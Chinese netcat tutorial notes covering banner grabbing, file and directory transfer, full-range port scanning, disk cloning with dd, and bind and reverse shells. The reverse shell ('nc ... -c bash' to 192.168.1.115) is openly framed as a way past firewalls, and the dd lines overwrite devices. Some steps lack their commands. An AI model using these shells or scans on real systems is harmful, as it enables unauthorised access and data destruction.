代替telnet 提取BANNER信息,作为连接使用。
nc -nv IP port
nc -nv 1.1.1.1 110
nc -nv 1.1.1.1 25
nc -nv 1.1.1.1 80
传输文本信息
C:nc -l -p 4444 作为服务器,IP地址为1.1.1.1,打开一个listen侦听端口。
S:nc -nv 1.1.1.1 4444 作为客户端,连接服务器端口。
C:
S:
电子取证
客户端传递当前目录信息给服务器端
C:服务器端打开333端口侦听信息。
S:客户端运用管道'|','|'表示'|'左边命令的输出作为'|'右边的输入。
C:然后服务器端收到客户端的当前目录信息。
客户端将进程信息传递给服务器端
C:服务器端打开333端口侦听信息,并将收到的信息重定向到ps.txt文件中
S:客户端运用管道'|',-q 1表示发送完成之后隔1秒退出
回车
C:然后服务器端收到客户端的当前进程信息,并写到ps.txt文件中
传递文件
服务器作为接收端
C:服务器端打开333端口侦听信息,将接收到的信息存储为2.MP4
S:客户端运用重定向符,将一个MP4文件作为输入,发送完成之后隔1秒退出
服务器作为发送端
C:服务器端打开333端口侦听信息,将文件放到端口,等着客户端连接,一旦有客户端连接就将文件发送给客户端,发送完之后隔1秒退出
S:客户端运用重定向符,将接收到的信息存储到b.mp4中
传递一个目录
C:服务器端打开333端口侦听信息,运用管道符'|'将目录打包放到端口,等着客户端连接,一旦有客户端连接就将打包的目录发送给客户端,tar -cvf 是打包,注意后面还要加一个'-',否则会打包失败,发送完之后隔1秒退出
回车运行等待客户端连接
S:客户端运用管道符'|',将收到的包解包放到当前目录,tar -xvf是解包,注意后面要加'-'。
回车就接收到了
加密传输文件
流媒体服务
3000表示缓存大小300KB
端口扫描
-z 探测端口是否开放,如果开放不会进行进一步的IO交互,提高速度。
tcp的扫描
nc -nvz 1.1.1.1 1-65535
udp的扫描
nc -nvzu 1.1.1.1 1-1024
远程克隆硬盘
简单介绍dd
写操作
dd if=/dev/urandom of=/dev/mtd1 bs=4096 count=1000
(上面这个命令就是从/dev/urandom中拷贝文件到mtd1这个分区上,每次读写的数据量是4096个字节,拷贝1000次,因此总的数据量就4M.)
读操作
dd if=/dev/mtd1 of=/dev/null bs=4096 count=1000
(上面这个命令就是从分区mtd1中拷贝文件到空设备/dev/null上,每次读写的数据量是4096个字节,拷贝1000次,因此总的数据量就4M.)
服务端开启333端口,将端口接收到的信息存到/dev/sda目录中
nc -lp 333 | dd of=/dev/sda
客户端将/dev/sda硬盘的内容发送到服务器端
远程控制
正向控制
服务器端
nc -lp 333 -c bash
客户端
nc -nv 192.168.1.115 333
然后就能在客户端操作服务器端了,就可以查看网卡信息,当前工作目录,甚至可以重启服务器端,init 6是重启的意思
反向控制
很多时候,主机被防火墙保护,阻挡外部机器连接内部机器的端口,但是内部机器主动连接外部机器的端口被防火墙阻止的可能性比较小。所以很多情况都是以被攻击的机器主动连接攻击的机器。
服务器端
nc -lp 333
客户端
nc -nv 192.168.1.115 333 -c bash
这样服务器端就可以控制客户端了。
windows用户把bash改成cmd
netcat的缺点:缺乏加密个身份验证的能力,明文传输容易被嗅探,因为端口一直处于开启状态,容易被其他人控制。
不同的系统nc参数功能不尽相同。